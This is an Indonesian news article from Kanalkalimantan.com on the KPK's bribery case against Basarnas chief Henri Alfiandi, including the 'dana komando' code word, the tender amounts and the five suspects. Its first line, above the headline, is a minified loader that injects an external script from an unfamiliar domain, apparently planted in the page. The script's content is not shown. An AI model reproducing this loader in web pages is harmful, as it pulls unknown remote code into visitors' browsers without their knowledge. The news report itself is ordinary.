(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Uang Suap Kabasarnas Pakai Kode ‘Dana Komando’


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menyebut penyerahan uang suap untuk Kabasarnas RI Marsekal Madya Henri Alfiandi memakai kode dako alias dana komando.

Henri Alfiandi (HA) sudah ditetapkan sebagai salah satu tersangka dalam kasus dugaan suap pengadaan barang dan jasa di Basarnas.

Penetapan tersangka terhadap Henri merupakan hasil dari pengembangan operasi tangkap tangan (OTT) terhadap Koorsmin Kabasarnas RI Letkol Adm Afri Budi Cahyanto (ABC) dan sejumlah pihak swasta lainnya. OTT tersebut terkait adanya dugaan suap dalam pengadaan alat deteksi korban reruntuhan.

Suap tersebut terkait dengan pengaturan tender atas tiga proyek di Basarnas pada 2023 yakni pengadaan alat deteksi korban reruntuhan dengan nilai kontrak Rp9,9 miliar, pengadaan public safety diving equipment dengan kontrak Rp17,4 miliar, serta pengadaan ROV untuk KN SAR Ganesha (multiyears 2023-2024) dengan kontrak Rp89,9 miliar.

Baca juga: KPK Tetapkan Kepala Basarnas HA Tersangka Korupsi Alat Bantuan Bencana

KPK menduga tercapai kesepakatan berupa pemberian fee sebesar 10% dari nilai kontrak. KPK menduga nilai fee tersebut ditentukan langsung oleh Henri Alfiandi.

“Kaitan teknis penyerahan uang dimaksud diistilahkan sebagai dako atau dana komando untuk HA ataupun melalui ABC,” kata Wakil Ketua KPK, Alexander Marwata di Gedung KPK, Jakarta, Rabu (26/7/2023).

Mulsunadi memerintahkan Marilya menyerahkan uang tunai Rp999,7 juta di area parkiran sebuah bak di Mabes TNI Cilangkap. Sedangkan Roni Aidil menyerahkan uang Rp4,1 miliar lewat aplikasi pengiriman setoran bank.

Baca juga: KPK Duga Kepala Basarnas HA Terima Suap Rp88,3 Miliar

Total ada lima tersangka dalam kasus ini, yakni Komisaris Utama PT Multi Grafika Cipta Sejati, Mulsunadi Gunawan (MG); Direktur Utama PT Intertekno Grafika Sejati, Marilya (MR); Direktur Utama PT Kindah Abadi Utama, Roni Aidil (RA); Kabasarnas RI Henri Alfiandi; serta Koorsmin Kabasarnas RI, Afri Budi Cahyanto. KPK memperoleh bukti permulaan cukup untuk menjerat mereka.

“Atas penyerahan sejumlah uang tersebut, perusahaan MG, MR dan RA dinyatakan sebagai pemenang tender,” ujar Alex.

KPK menduga Henri menerima suap dari banyak pihak lainnya. Nilainya pun menyentuh angka fantastis.

Baca juga: Anggota Densus 88 Bripda IDF Tewas Ditembak Senior di Rusun Polri Cikeas

“Diduga HA bersama dan melalui ABC diduga mendapatkan nilai suap dari beberapa proyek di Basarnas tahun 2021 hingga 2023 sejumlah sekitar Rp88,3 miliar dari berbagai vendor pemenang proyek,” imbuh Alex. (Beritasatu.com/Kanalkalimantan.com/kk)

Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.